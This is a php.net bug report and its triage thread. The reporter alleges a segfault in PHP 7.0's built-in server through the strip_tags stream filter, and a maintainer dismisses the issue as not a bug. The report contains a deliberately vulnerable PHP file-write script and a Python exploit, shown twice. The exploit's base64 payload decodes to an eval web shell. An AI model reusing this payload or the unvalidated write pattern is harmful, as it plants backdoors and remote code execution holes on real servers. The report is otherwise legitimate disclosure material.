php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #78861 [DoS] Segmentation fault through HTTP Requests by string strip_tags
Submitted: 2019-11-23 03:44 UTC Modified: 2019-12-16 14:13 UTC
From: jessica1123 at yeah dot net Assigned: cmb (profile)
Status: Not a bug Package: *Web Server problem
PHP Version: 7.1.33 OS: Ubuntu 16.04
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: jessica1123 at yeah dot net
New email:
PHP Version: OS:

 

 [2019-11-23 03:44 UTC] jessica1123 at yeah dot net
Description:
------------
Description:
------------
Hi,

I found a vulnerability while I was testing the PHP built-in web server.
The vulnerability could be exploited by an attacker to crash the server causing a segmentation fault.

I think this vulnerability is caused by an error when `file_put_contents` parses `php://filter/write=string.strip_tags` . 

My environment is php 7.0.33 , but the problem doesn't work on 7.1.33

root@1B40116:~/php# php -v
PHP 7.0.33-0ubuntu0.16.04.7 (cli) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
    with Zend OPcache v7.0.33-0ubuntu0.16.04.7, Copyright (c) 1999-2017, by Zend Technologies

The steps to reproduce to trigger the segmentation fault are the following:

$ mkdir php
$ cd php
$ touch phpshell.php
#wtrie php code to phpshell.php
```
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
```

$ php -S 0:8081
$ python exploit.py 127.0.0.1 #But could be a remote server as well

You can find the exploit in the "Test script" section.

Further investigations of the issue could lead an attacker to exploit the memory corruption in the server to get a reverse shell (eg. Buffer overflow).
Anyway, with the actual exploit an attacker could already DoS the server.

Test script:
---------------
import sys
import requests

if len(sys.argv) < 2:
    print("[!] Usage: %s TARGET" % sys.argv[0])
    exit()

target = sys.argv[1].strip()

url = "http://{ip}:8081/phpshell.php".format(ip = target)

data = {
    "filename":r"php://filter/write=string.strip_tags|convert.base64-decode/resource=bb.php&txt=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4="
}

print("[*] Sending requests to %s." % target)
try:
    r = requests.post(url = url , data = data)
    print("The exploit didn't worked.")
except requests.exceptions.ConnectionError:
    print("The exploit worked!")

Expected result:
----------------
The server crash with "Segmentation fault" error.


Test script:
---------------
import sys
import requests

if len(sys.argv) < 2:
    print("[!] Usage: %s TARGET" % sys.argv[0])
    exit()

target = sys.argv[1].strip()

url = "http://{ip}:8081/phpshell.php".format(ip = target)

data = {
    "filename":r"php://filter/write=string.strip_tags|convert.base64-decode/resource=bb.php&txt=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4="
}

print("[*] Sending requests to %s." % target)
try:
    r = requests.post(url = url , data = data)
    print("The exploit didn't worked.")
except requests.exceptions.ConnectionError:
    print("The exploit worked!")

Expected result:
----------------
output:
The exploit didn't worked.

Actual result:
--------------
python output:
The exploit worked!

shell output:
Segmentation fault

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-11-23 09:17 UTC] cmb@php.net
-Status: Open +Status: Feedback -Assigned To: +Assigned To: cmb
 [2019-11-23 09:17 UTC] cmb@php.net
> I found a vulnerability while I was testing the PHP built-in web
> server.

Since the built-in Web server should not be used on a public
network[1], security concerns do not apply.

Or can this be reproduced with other Web servers as well?

> My environment is php 7.0.33 , but the problem doesn't work on
> 7.1.33

We do no longer support PHP 7.0; if PHP 7.1 and higher are not
affected by this issue, this would not even be a bug for php.net.

[1] <https://www.php.net/manual/en/features.commandline.webserver.php>
 [2019-12-01 04:22 UTC] php-bugs at lists dot php dot net
No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to "Re-Opened". Thank you.
 [2019-12-06 13:24 UTC] jessica1123 at yeah dot net
-Status: No Feedback +Status: Closed
 [2019-12-06 13:24 UTC] jessica1123 at yeah dot net
It actually affects other web servers, such as php-fpm. But since you no longer maintain php7.0, there is nothing you need to do .
 [2019-12-13 15:01 UTC] cmb@php.net
-Status: Closed +Status: Not a bug -Type: Security +Type: Bug
 [2019-12-13 15:01 UTC] cmb@php.net
Well, thanks to Remi, I had a closer look at this issue, and the
given script is vulnerable to RCI anyway (unrelated to the
segfault which may happen on older PHP versions), because the name
of the file to be written to is not validated.
 [2019-12-16 14:01 UTC] jessica1123 at yeah dot net
-Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2019-12-16 14:01 UTC] jessica1123 at yeah dot net
I would be happy to help you fix this. But if you don't plan to fix this problem, I hope you can help me apply for CVE, I will be very grateful to you.
 [2019-12-16 14:13 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2019-12-16 14:13 UTC] cmb@php.net
To clarify: the supplied test script is badly written, and as such
is vulnerable to RCI attacks.  This is not related to any bug in
PHP.

Please refrain from categorizing this issue as security bug, which
it is not.

Thanks.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Apr 16 21:01:28 2024 UTC